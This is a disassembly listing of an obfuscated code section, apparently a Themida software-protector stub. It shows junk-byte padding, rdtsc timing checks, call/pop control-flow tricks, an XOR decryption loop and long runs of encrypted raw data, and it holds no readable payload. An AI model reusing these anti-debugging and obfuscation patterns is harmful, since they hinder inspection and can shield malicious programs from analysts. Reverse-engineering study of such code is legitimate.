		db 6, 0DFh
; ---------------------------------------------------------------------------


loc_54EDB2:				; CODE XREF: Themida_:0054EDA2j
		rdtsc
		jmp	loc_54EDC5
; ---------------------------------------------------------------------------
		db 0AEh, 94h, 13h
		dd 794B2E1h, 0A4F5DC84h
; ---------------------------------------------------------------------------
		pop	esi


loc_54EDC5:				; CODE XREF: Themida_:0054EDB4j
		pop	edx
		pop	eax


loc_54EDC7:				; CODE XREF: Themida_:0054ED9Aj
		mov	[esp], esi
		jmp	loc_54EDDD
; ---------------------------------------------------------------------------
		db 67h
		dd 0E697DECDh, 4D23362Eh, 24CC3B11h
		db 64h
; ---------------------------------------------------------------------------


loc_54EDDD:				; CODE XREF: Themida_:0054EDCAj
		clc
		mov	[ebp+60F409Ah],	esi
		mov	[ebp+60F21D9h],	esi
		jz	loc_54EDFE
		pusha
		jl	$+6
		add	[ebp+60F14D5h],	eax
		popa


loc_54EDFE:				; CODE XREF: Themida_:0054EDEAj
		mov	[ebp+60F40C2h],	ecx
		add	[ebp+60F29FDh],	edx
		lea	esi, [ebp+60F3F7Dh]
		stc
		clc
		lea	eax, dword_5B8EA1[ebp]
		cmc
		call	eax
		jmp	loc_54EE26
; ---------------------------------------------------------------------------
		imul	eax, ecx, 63EACDBBh


loc_54EE26:				; CODE XREF: Themida_:0054EE1Bj
		sub	[ebp+60F1045h],	edi
		pop	esi
		stc
		retn
; ---------------------------------------------------------------------------
		jmp	loc_54EE47
; ---------------------------------------------------------------------------
		dd 0CC7649B8h, 0C82AF691h, 6D636DBh, 5A948756h
; ---------------------------------------------------------------------------
		jmp	short loc_54EEB9
; ---------------------------------------------------------------------------
		db 0B3h
; ---------------------------------------------------------------------------


loc_54EE47:				; CODE XREF: Themida_:0054EE2Fj
		mov	esi, [ebp+60F409Ah]
		mov	[ebp+60F3205h],	ecx
		mov	ecx, [ebp+60F40C2h]
		pusha
		mov	ax, dx
		pusha
		mov	cl, dh
		popa
		popa
		ja	loc_54EE6E
		xor	[ebp+60F07C9h],	eax


loc_54EE6E:				; CODE XREF: Themida_:0054EE62j
		mov	eax, 0
		pusha
		sub	edi, 7F86CE4Bh
		jmp	loc_54EE90
; ---------------------------------------------------------------------------
		db 0ADh
		dd 27C05149h, 94E74335h, 0BFC8EEFAh, 96E06E60h
; ---------------------------------------------------------------------------


loc_54EE90:				; CODE XREF: Themida_:0054EE7Aj
		popa
		mov	ebx, ecx
		add	[ebp+60F2421h],	ecx
		jmp	loc_54EF48
; ---------------------------------------------------------------------------
		cld


loc_54EE9F:				; CODE XREF: Themida_:0054EF4Aj
		xor	ah, [esi]
		mov	[ebp+60F2C39h],	ebx
		cmc
		mov	dl, 2
		xor	[ebp+60F01F9h],	eax
		jmp	loc_54EF16
; ---------------------------------------------------------------------------
		db 89h,	2 dup(0BDh)
; ---------------------------------------------------------------------------
		push	ds


loc_54EEB9:				; CODE XREF: Themida_:0054EE44j
		clts


loc_54EEBB:				; CODE XREF: Themida_:0054EF18j
		xor	al, dl
		jns	loc_54EECE
		pusha
		js	$+6
		add	al, 0ECh
		popa


loc_54EECE:				; CODE XREF: Themida_:0054EEBDj
		add	eax, 8A751D7Ah
		jmp	loc_54EEE6
; ---------------------------------------------------------------------------
		dd 0BE93EDC6h, 0A5DAA152h, 0E941BD4h
		db 0A9h, 59h
; ---------------------------------------------------------------------------


loc_54EEE6:				; CODE XREF: Themida_:0054EED3j
		mov	cl, ah
		jmp	loc_54EEFB
; ---------------------------------------------------------------------------
		db 80h,	0B4h, 81h
		dd 41E02F30h, 0AA746B83h
		db 0EDh, 2Fh, 0C7h
; ---------------------------------------------------------------------------


loc_54EEFB:				; CODE XREF: Themida_:0054EEE8j
		ror	eax, cl
		mov	[ebp+60F2905h],	edx
		xor	eax, 98D10842h
		mov	[ebp+60F1865h],	edx
		dec	dl
		mov	[ebp+60F274Dh],	ecx


loc_54EF16:				; CODE XREF: Themida_:0054EEB0j
		or	dl, dl
		jnz	loc_54EEBB
		jmp	loc_54EF33
; ---------------------------------------------------------------------------
		db 59h
		dd 0FD812B6Dh, 4D5419BBh, 0BE0EE3ACh
		db 27h,	13h, 6Ah
; ---------------------------------------------------------------------------


loc_54EF33:				; CODE XREF: Themida_:0054EF1Ej
		dec	ebx
		jmp	loc_54EF46
; ---------------------------------------------------------------------------
		db 25h,	18h, 0B8h
		dd 0B9943CF3h, 0DFB5917Dh
		db 0BBh, 33h
; ---------------------------------------------------------------------------


loc_54EF46:				; CODE XREF: Themida_:0054EF34j
		inc	esi
		stc


loc_54EF48:				; CODE XREF: Themida_:0054EE99j
		or	ebx, ebx
		jnz	loc_54EE9F
		ja	locret_54EF62
		jz	locret_54EF62
		jb	$+6

locret_54EF62:				; CODE XREF: Themida_:0054EF50j
					; Themida_:0054EF56j
		iret
; ---------------------------------------------------------------------------
		db 0FCh
		dd 8D890000h, 60F1425h,	60600000h, 19D59589h, 0BD29060Fh
		dd 60F26F5h, 9E961h, 6290000h, 12BF2A77h, 61D81A10h, 8D0F0000h
		dd 1, 600000F5h, 49858Bh, 0AE9060Fh, 0FB000000h, 2A0D75DEh
		dd 94B5C47Dh, 858D6170h, 60F3AB8h, 30B58531h, 9E9060Fh
		dd 0A000000h, 2317184Ah, 320497BCh, 27718589h, 0BE9060Fh
		dd 68000000h, 0B46D18A0h, 4528A29Ch, 858D0344h,	60F3ECFh
		dd 0C98D8B60h, 66060F1Ch, 8961CF8Bh, 0F323D85h,	14EB06h
		dd 3 dup(0)
		dd 8B000000h, 8D000000h, 0F41F885h, 0BD858906h,	83060F10h
		dd 0F4139BDh, 840F0006h, 134h, 24FD85C6h, 6856060Fh, 9F94CDBEh
		dd 7B240481h, 0FF348A9Fh, 0F1CE5B5h, 0B8858D06h, 0FF060F3Ah
		dd 2D8589D0h, 0C6060F41h, 0F24FD85h, 4E85606h, 52000000h
		dd 509CA8B8h, 424448Bh,	4489008Bh, 0FF580424h, 0F1CE5B5h
		dd 0B8858D06h, 0FF060F3Ah, 318589D0h, 6A060F41h, 24A46804h
		dd 481EFAAh, 55EB5C24h,	3D858B10h, 5060F41h, 1F4h, 9002E0C1h
		dd 6A9050h, 413195FFh, 8589060Fh, 60F4135h, 0FFB8D88Bh
		dd 0FFFFFFFFh, 0F10BD95h, 0FFC38B06h, 0F10BD95h, 96E906h
		dd 0BD830000h, 60F4139h, 1850F00h, 0C3000000h, 35BD8B57h
		dd 0AB060F41h, 41358583h, 5F04060Fh, 39BD83C3h,	60F41h
		dd 1850Fh, 60C30000h, 4135AD83h, 8B04060Fh, 0F41359Dh
		dd 0FC7B8306h, 26850FFFh, 0E8000000h, 4, 8000h,	24448B50h
		dd 89008B04h, 58042444h, 33FF006Ah, 412D95FFh, 0C361060Fh
		dd 26E9h, 4E800h, 80000000h, 8B500000h,	8B042444h, 24448900h
		dd 6A5804h, 95FF33FFh, 60F412Dh, 4135AD83h, 0E904060Fh
		dd 0FFFFFF9Fh, 9D3E948h, 38C10000h, 0C52AFA1Ch,	9F938EA6h
		dd 0CE379E0Fh, 5F17CBA4h, 0B58720F8h, 59148186h, 0FD523DBEh
		dd 1E9C8DA7h, 8721F71Ch, 888186AAh, 0DC26CD5Dh,	14188EA3h
		dd 0BFF74397h, 5809958Ch, 0FD526FB2h, 1D938BA5h, 873BF71Ch
		dd 979B9BB5h, 0C23AD35Dh, 1A0C99B8h, 0F3C320FCh, 4909919Bh
		dd 0B3533DFFh, 0B878BB0h, 0C83DEE1Ch, 97959BB4h, 53h, 62h dup(0)
		dd 38C10000h, 0C920F31Ch, 889B9DBAh, 0C02DCE5Dh, 571499B0h
		dd 0A0C626BDh, 581F96C9h, 0FC416FF0h, 59968ABCh, 0C921EB4Eh
		dd 0DA9387BAh, 0D67FD014h, 1A079EB8h, 0A7D437EEh, 3754998Ch
		dd 0F64B1F93h, 559797A8h, 0CB21EB1Ch, 0DA9088BCh, 0C97FCA14h
		dd 1A1884A5h, 0BCCA2BF0h, 5C5A8D9Bh, 0E1072BF0h, 188697ACh
		dd 0DE6FEA4Eh, 0DA869CBCh, 0C830CC0Dh, 14188AA5h, 48h dup(0)
		dd 38C10000h, 0C63DFD1Ch, 889182B0h, 0DB7FCD5Ah, 1A1984B8h
		dd 0F3D42FF5h, 531F918Bh, 0E64829BEh, 0BD280A7h, 0CE21F049h
		dd 93D48EBDh, 0C0269E13h, 495599A2h, 0B6D33DE4h, 3070DA84h
		dd 0F24223CEh, 59DE81BAh, 0C823F049h, 93D48DB2h, 0DD399E09h
		dd 575586B8h, 0A1C823F8h, 531BD490h, 0F6556FFAh, 0B9390BAh
		dd 0C836BE48h, 8AD49BA6h, 0DD38D10Fh, 5B86B6h, 61h dup(0)
		dd 3FC10000h, 872AF255h, 888686B0h, 0CA2BCE08h,	1A5BCAB3h
		dd 0A0CE26C9h, 520884C9h, 0FE463DF9h, 0A938CE9h, 0C22AFC1Ch
		dd 9B99C9BDh, 0DA2FD713h, 5F018ABBh, 0BDC66EF9h, 5C17D48Dh
		dd 99422DE7h, 5E868DC4h, 0C926BE4Fh, 8E978CB5h,	0CD7FDA18h
		dd 1A14CBAEh, 0A6D527CBh, 4F15D49Ah, 0F2552CBEh, 1D978FAAh
		dd 0CF1BBE12h, 9CD49ABAh, 8F3AD214h, 1D1B84A0h,	0BCD06EE9h
		dd 5C5A9F9Bh, 0FC4A36F0h, 0DC81BBh, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2DB2E900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 4D69E5C3h, 0B0716DEFh, 0E91431E1h
		dd 11h,	8349EFA9h, 0D0C45233h, 80A04096h, 0F1B83635h, 0BF0FFCC7h
		dd 8BC08BD8h, 0EDB589D0h, 83060F27h, 0F1891BDh,	9750006h
		dd 26ADBD83h, 7400060Fh, 8B535013h, 1B8C0h, 9D8D0000h
		dd 611AE5Ah, 585BD3FFh,	26ADBD83h, 7400060Fh, 0B8535011h
		dd 1, 0AD0B9D8Dh, 0D3FF0611h, 0B589585Bh, 60F11ADh, 283258BAh
		dd 66C08B01h, 0BD83D18Bh, 60F012Dh, 0D2840F00h,	66000001h
		dd 83546CBAh, 0F1215BDh, 840F0006h, 1C1h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0C6C35747h, 17BEB4BAh
		dd 83ABA1Eh, 0E9607D64h, 0Fh, 84A3D108h, 0F59F1E68h, 74334DE5h
		dd 0BA0EB692h, 2137762Eh, 1215858Bh, 13E8060Fh,	0EC000000h
		dd 1856411Dh, 22118253h, 0A73ECFFCh, 0D8C74B40h, 0E9BB59B4h
		dd 5B78AC53h, 3E805h, 12CB8100h, 901077F2h, 86B9FBAh, 53515054h
		dd 310F5250h, 5B5B585Ah, 25858990h, 8D060F12h, 0F4C4E85h
		dd 0D08B6606h, 0F78B6090h, 4C18BB66h, 0FE95061h, 9E000000h
		dd 0D9AAA83Fh, 7CA81148h, 48C73BC2h, 0E990E0BFh, 11h, 6490939Fh
		dd 8E3ABAB0h, 0EA4080A5h, 0FA14E998h, 0E995316Eh, 8D060F30h
		dd 0F4C2C85h, 3FBA6606h, 0DE8505Dh, 8D000000h, 9B7F9880h
		dd 0D43AE8C7h, 0D8FAB6A6h, 0DD3F77BAh, 4895A50h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 464F12ACh, 0D2816654h, 95FF6FBAh, 60F167Dh, 0CE9h, 0B85C2300h
		dd 0CE4F2AA7h, 6DEED9B8h, 0CC4833Ah, 7E9h, 4104BC00h, 0FF09CA7Fh
		dd 4C2C858Dh, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0AA69C3h, 0F79F508Ch, 0B70FE34Ah
		dd 48950D1h, 0CE824h, 0E0CE0000h, 655F3D36h, 4AD9CCBEh
		dd 8B60BAB5h, 0F1E0DB5h, 6A5B6106h, 0A5958B02h,	0FF060F1Dh
		dd 6AED1495h, 0ACBB6600h, 6A616Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0B51432C3h, 2870F64h
		dd 8B000000h, 5F85C7D3h, 1060F4Ch, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0FC25C351h, 6BA53B98h, 11E8A6h, 5380000h, 183FCECCh
		dd 50710DF2h, 531DF64Ah, 0E9A0BE71h, 0Eh, 0F8DAC255h, 7F571Ch
		dd 0B105074Bh, 505A2D21h, 22DBA7BBh, 2434893Fh,	22199D2Bh
		dd 0B589060Fh, 60F4C10h, 83BFF280h, 0F21ADBDh, 850F0106h
		dd 41h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 3CC35747h, 88EB7922h, 89E96E9Bh, 0F1B4DB5h, 5F88306h
		dd 0F850Fh, 0BB660000h,	0B8E93Fh, 81000000h, 444C6C3h
		dd 71BD8378h, 60F00h, 6A840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 406796C3h
		dd 6E90Bh, 47390000h, 3DF268B8h, 2EE19D8Bh, 8960060Fh
		dd 0F301585h, 7195FF06h, 29060F00h, 0F2DB9BDh, 6A6106h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 704D50C3h, 958B5942h, 60F1D7Dh, 1869BD83h, 0F00060Fh
		dd 1184h, 0B98D0900h, 0B8060F13h, 0
; ---------------------------------------------------------------------------
		push	ebx
		mov	dx, 0FC04h
		pop	edx
		pusha
		mov	edx, ebx
		mov	eax, [ebp+60F2C8Dh]
		mov	ebx, [ebp+60F1BE5h]
		add	eax, 2
		xor	[ebp+60F1C05h],	ecx
		mov	ebx, [ebp+60F3009h]
		mov	[ebp+60F4C08h],	eax
		mov	[ebp+60F1231h],	ebx
		mov	byte ptr [eax],	0FFh
		push	0
		push	ecx
		call	sub_54FF36
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FF36	proc near		; CODE XREF: Themida_:0054FF2Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_54FF36	endp

; ---------------------------------------------------------------------------
		inc	edx
		mov	dh, al
		mov	bx, 81CBh
		mov	byte ptr [ebp+60F24FDh], 53h
		push	0
		push	ebp
		call	sub_54FF5F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FF5F	proc near		; CODE XREF: Themida_:0054FF57p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_54FF5F	endp

; ---------------------------------------------------------------------------
		mov	ecx, 0E28155Eh
		cmc
		push	0A1491652h
		mov	bl, 33h
		xor	dword ptr [esp], 5DF85E8Ah
		push	0
		push	ebp
		call	sub_54FF8E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FF8E	proc near		; CODE XREF: Themida_:0054FF86p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_54FF8E	endp

; ---------------------------------------------------------------------------
		cmp	ch, [ecx]
		mov	esp, 0A19D8955h
		add	[edi], ecx
		push	es
		push	dword ptr [ebp+60F2CA1h]
		mov	ebx, [ebp+60F29B5h]
		lea	eax, [ebp+61272E7h]
		push	0
		push	edx
		call	sub_54FFC5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FFC5	proc near		; CODE XREF: Themida_:0054FFBDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_54FFC5	endp

; ---------------------------------------------------------------------------
		push	ss
		or	eax, 30D9B589h
		clts
		call	eax
		movzx	ebx, di
		mov	[ebp+60F3451h],	eax
		push	0
		push	ebx
		call	sub_54FFF3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54FFF3	proc near		; CODE XREF: Themida_:0054FFEBp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_54FFF3	endp

; ---------------------------------------------------------------------------
		db 0Bh
		dd 469F9982h, 2875BD83h, 0F01060Fh, 0B685h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 8E949B5Eh, 8D89259Fh, 60F19E1h, 559D2361h, 0C6060F1Dh
		dd 0F24FD85h, 9D8B4506h, 60F04EDh, 138D8468h, 0DE8B669Bh
		dd 3E240481h, 6A3F4CABh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0D759C350h,	80902F20h
		dd 0F2802C45h, 0A1B5FFA6h, 0E8060F2Ch, 14h, 7CC35D77h
		dd 10303C2Fh, 56C01A68h, 0DF7865C9h, 3153DD44h,	858D5AF9h
		dd 61272E7h, 0B1DEA81h,	0FFF56A1Bh, 0AABB66D0h,	52006A42h
		dd 15AD18Bh, 0F19FD85h,	66D0FF06h, 83BFEDBBh, 0F28C5BDh
		dd 850F0106h, 0B8h, 19D5958Bh, 858B060Fh, 60F2C8Dh, 169D958Bh
		dd 8EE9060Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0BBA3C355h,	0E9766037h
		dd 14h,	0DA4E0E33h, 8BC547FCh, 582FF72h, 21CED6CEh, 628077ACh
		dd 22FD9503h, 0B589060Fh, 60F2DA5h, 89D88B50h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A2EAE2C3h, 0C6C8CF36h, 0F9BD89BEh, 6A060F12h, 0A99D8B14h
		dd 0FF060F2Bh, 0F345195h, 0D3816606h, 29583CA2h, 0F221D85h
		dd 388006h, 0FFAE850Fh,	0C6FCFFFFh, 0F2810100h,	73BD0E5Bh
		dd 8B666061h, 14E9C7h, 1AA30000h, 0FD3F469h, 2C5B4539h
		dd 88868286h, 735C8CACh, 83610452h, 0F1015BDh, 840F0006h
		dd 23h,	6AD7BF0Fh, 0FF5B51FFh, 0F345195h, 0BE906h, 0F40A0000h
		dd 0F133383Ah, 0B7583948h, 0FFE1E9A4h, 0C7FCFFFFh, 0F101585h
		dd 106h, 658D8900h, 89060F14h, 0F4C1485h, 9D8B5206h, 60F0B01h
		dd 0C99D8B5Bh, 90060F14h, 0CE9h, 0F98DF300h, 0EE7B63FDh
		dd 880236BFh, 60605008h, 0DDEA7EBFh, 58BF662Fh,	85B761F6h
		dd 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 958B92C3h, 60F1A39h, 0E636BB66h, 0DE8B6660h
		dd 0B589056Ah, 60F04F9h, 4C2C858Dh, 958B060Fh, 60F1029h
		dd 89F6B650h, 66532404h, 8D5BDA8Bh, 0F4C1C85h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 59D8B95h, 0F060F11h,	6650D0B7h, 89A37BBBh, 0CA812404h
		dd 66406905h, 240595FFh, 91B3060Fh, 79C88D8Dh, 13BB060Fh
		dd 0B5C1C21h, 8D1174C0h, 0F4C2C85h, 0D1FF5006h,	4C4A8589h
		dd 0AEB060Fh, 4C4A85C7h, 0FFFF060Fh, 0FE9FFFFh,	0FC000000h
		dd 0C0D54497h, 0CBAC557Bh, 721D8F40h, 0EE93C91h, 0F5000000h
		dd 2D518CAFh, 0BF04029Ah, 6D09E8CCh, 51006A1Bh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 9E2E9ECBh
		dd 0BA2AE61Bh, 4B95B1C9h, 999D2961h, 0C6060F0Ch, 0F24FD85h
		dd 0E8F94D06h, 4, 0A43576A8h, 5050DF8Bh, 0BE666052h, 58503932h
		dd 53310F61h, 5A5BAEB3h, 24448B58h, 6E904h, 3F580000h
		dd 10D239A2h, 60B7008Bh, 4244489h, 0B25844B2h, 3DB5FFBFh
		dd 81060F1Eh, 0F68058F2h, 0E7858D09h, 89061272h, 0F15DD8Dh
		dd 66D0FF06h, 0D8EAE281h, 13A18589h, 0BA66060Fh, 85C68343h
		dd 60F24FDh, 91B58945h,	68060F15h, 0C6C3880Ch, 0BA665250h
		dd 310FB15Bh, 0E7078BAh, 81585A15h, 0E1652434h,	0D28148B1h
		dd 48AEE54Eh, 2CA1B5FFh, 0CE9060Fh, 74000000h, 46F2F346h
		dd 0ABD5B1D1h, 8D706B1Fh, 1272E785h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 20C1EC32h
		dd 0E0CB8CE9h, 0D0FF004Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 3DC35747h, 94ED015Dh,	8589D728h, 60F2275h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h
		dd 0B278920Eh, 4DECBE05h, 0C8F0F54h, 0F000000h,	688h, 61B50100h
		dd 8B060F23h, 1D9D8BD2h, 66060F00h, 5A57D98Ch, 0F04C1F6h
		dd 24084h, 0DE900h, 0C3170000h,	3148F9FEh, 2F7172BDh, 0FF4579Bh
		dd 6E9D3B7h, 0E9000001h, 0Ah, 0B8ACD438h, 0F9FEC317h, 0B58B3148h
		dd 60F19EDh, 1A759D8Bh,	0C681060Fh, 1180h, 8303E380h, 0F21D5BDh
		dd 850F0006h, 23h, 1B759D8Bh, 95E9060Fh, 51000000h, 0BE8h
		dd 0D93B6C00h, 0B2D3491Fh, 19A4EEDEh, 864422BBh, 835B5B1Ch
		dd 840F003Eh, 74h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 3CC35545h, 9AEE1CA1h,	9D8D8960h, 0F8060F27h
		dd 0A5BB146Ah, 0FF54DE87h, 0F345195h, 0C6DB8106h, 89552B13h
		dd 0F15A1BDh, 6A6106h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 108194C3h, 2CDD9533h, 8CE9060Fh
		dd 66FFFFFFh, 9C7CEA81h, 0AB5DBA66h, 106C7h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 34F5ECC3h, 85892F55h, 60F26E9h, 29958960h, 0FC060F1Dh
		dd 14BD8361h, 5060F4Ch,	113850Fh, 0EA810000h, 7212BDB2h
		dd 2275B58Bh, 6A060Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BC7DEC3h, 0F1BF99Dh, 81BD8906h
		dd 0B9060F0Ah, 64h, 34919589h, 0F60060Fh, 68Dh,	71958900h
		dd 66060F08h, 6148DBB9h, 0FE83E80h, 3A84h, 41958900h, 0E9060F00h
		dd 56h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 3FC35343h, 0AC68B2EDh, 0F8EBBECh, 682h, 2DBD3100h, 80060F0Dh
		dd 0FC2057Eh, 6A84h, 14E800h, 45CB0000h, 0F5637705h, 2948FC1h
		dd 0CA961A2Eh, 0ECB80B6Ah, 0BF0F5A87h, 0E9465AD2h, 8, 483E3613h
		dd 6E6199DCh, 81850F49h, 0B2FFFFFFh, 3BE922h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 36BB74C3h, 0CE9A376h, 0C5000000h, 8F96992Bh,	34D03213h
		dd 8944DA86h, 0F1329B5h, 0F4BA6606h, 0DE958FCh,	92000000h
		dd 75257F22h, 2B49C7A2h, 500A5ACDh, 2661BD83h, 0F00060Fh
		dd 13A84h, 319D8B00h, 60060F1Ah, 880F52h, 5B000000h, 24FD85C6h
		dd 8B54060Fh, 0F16E59Dh, 4E806h, 0BEF40000h, 0BE60FF4Eh
		dd 633CE2F3h, 0FE7D77BFh, 5050614Eh, 0A1ADBA52h, 310F2DE7h
		dd 2ED4BA66h, 448B585Ah, 0BE80424h, 59000000h, 0D62F36C2h
		dd 0A28FBF3Dh, 0AE86C69h, 6B000000h, 0BEF1D106h, 0F2494C20h
		dd 7E8D4h, 0D1B30000h, 2F2E9134h, 5B5A5AFEh, 860F008Bh
		dd 0Fh,	6E960h,	51160000h, 963EDCF7h, 8961C28Bh, 50042444h
		dd 5CBA6652h, 0B2310FE8h, 58585ADDh, 2EB9958Bh,	0B5FF060Fh
		dd 60F2CA1h, 200BB66h, 72E7858Dh, 958B0612h, 60F1A95h
		dd 9D31D0FFh, 60F2455h,	9FB3006Ah, 2661B5FFh, 0FE8060Fh
		dd 6E000000h, 4A63561Ah, 0DC3DF5E7h, 4331367Ch,	958B6D83h
		dd 60F17A9h, 0FD0FF5Ah,	683h, 95BD8900h, 0F060F24h, 1A86h
		dd 0EE800h, 0E1480000h,	3AC915D9h, 0B6C89F3Bh, 5E2F8E64h
		dd 15958D29h, 615B060Fh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 27C35747h, 6D547945h,	0A3D09778h, 0C7D8B70Fh
		dd 0F2AD585h, 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0BD895851h, 60F32DDh
		dd 8E860h, 14170000h, 600D7BD8h, 8D8924ACh, 60F1A69h, 0D975685Ah
		dd 5250FEFDh, 0DC8A310Fh, 481585Ah, 2270B24h, 55006A01h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 277AECDDh, 0CB812EAFh, 76780FF4h, 6AFF6Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D0AAD9C3h
		dd 1D4DD75Ch, 0F5BACC38h, 0B62B0CFFh, 68A0F55h,	8B000000h
		dd 0F34219Dh, 5D95FF06h, 0E8060F2Ch, 0Dh, 4B7C7F23h, 7CD906A3h
		dd 297ED11Dh, 0BD952318h, 5A060F2Eh, 50006A61h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 891419FBh
		dd 0F26BD8Dh, 830F5006h, 4, 6A80BA66h, 0E9240489h, 9, 0D8603980h
		dd 0C7240DF7h, 59858BABh, 89060F0Ah, 0F26D1B5h,	0FC00B06h
		dd 3984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0F28135CFh, 767B3451h, 619D0357h
		dd 5B060F1Bh, 1DE595FFh, 67B3060Fh, 52D9D09h, 85C7060Fh
		dd 60F2269h, 1,	18719533h, 0BD83060Fh, 60F1501h, 0C840F00h
		dd 80000000h, 95FF04F3h, 60F0929h, 83E9C680h, 0F00A1BDh
		dd 840F0006h, 16h, 95FFD08Bh, 60F283Dh,	8800Fh,	0F570000h
		dd 82h,	0BD835A00h, 60F15D9h, 2E840F00h, 66000000h, 0BD83D38Bh
		dd 60F0511h, 1E850F00h,	0E8000000h, 6, 1E254EB3h, 85893BB2h
		dd 60F01A1h, 2195FF5Bh,	8B060F08h, 0F29B595h, 5DBD8306h
		dd 60F11h, 70840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 97A40CC3h, 64E0AC5Ch
		dd 85818600h, 60F0025h,	4003h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 41C35646h, 6CBD1310h, 24CFC288h
		dd 39958B39h, 0F5060F10h, 2241958Bh, 8581060Fh,	60F2941h
		dd 4003h, 31F19D03h, 310F060Fh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 2BC35141h, 9CA1387h, 0F2CE195h
		dd 0CE806h, 3EE0000h, 0C88842B9h, 1E515F89h, 0BA66EE06h
		dd 8D5ACC8Ah, 0F5B6C8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 5EC6BB86h, 1BA54F4h, 895138D1h
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0DF4D30Bh, 4DCE8AB3h, 11E9h, 0E13E0100h
		dd 0D2949F77h, 2B0FC7Dh, 0AD684932h, 0C233D81Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 46C35747h, 27777966h
		dd 80589D82h, 4189C6E3h, 819D8904h, 0F060F18h, 0D8D8931h
		dd 8D060F1Eh, 0F5BA88Dh, 6E806h, 76610000h, 0BE6AEFB4h
		dd 5BD0BF0Fh, 0EB810189h, 6FD34057h, 9D8BC233h,	60F1EADh
		dd 6A044189h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 9476C356h, 0BE8897Bh, 7B000000h
		dd 0E8ACA4D3h, 304E84E9h, 95291F32h, 60F12B9h, 9DBD835Ah
		dd 60F2Bh, 2C840Fh, 958B0000h, 60F01A1h, 322995FFh, 6A060Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 4EEBC7C3h, 0BD834BEDh, 60F0FEDh, 63850F01h, 8B000000h
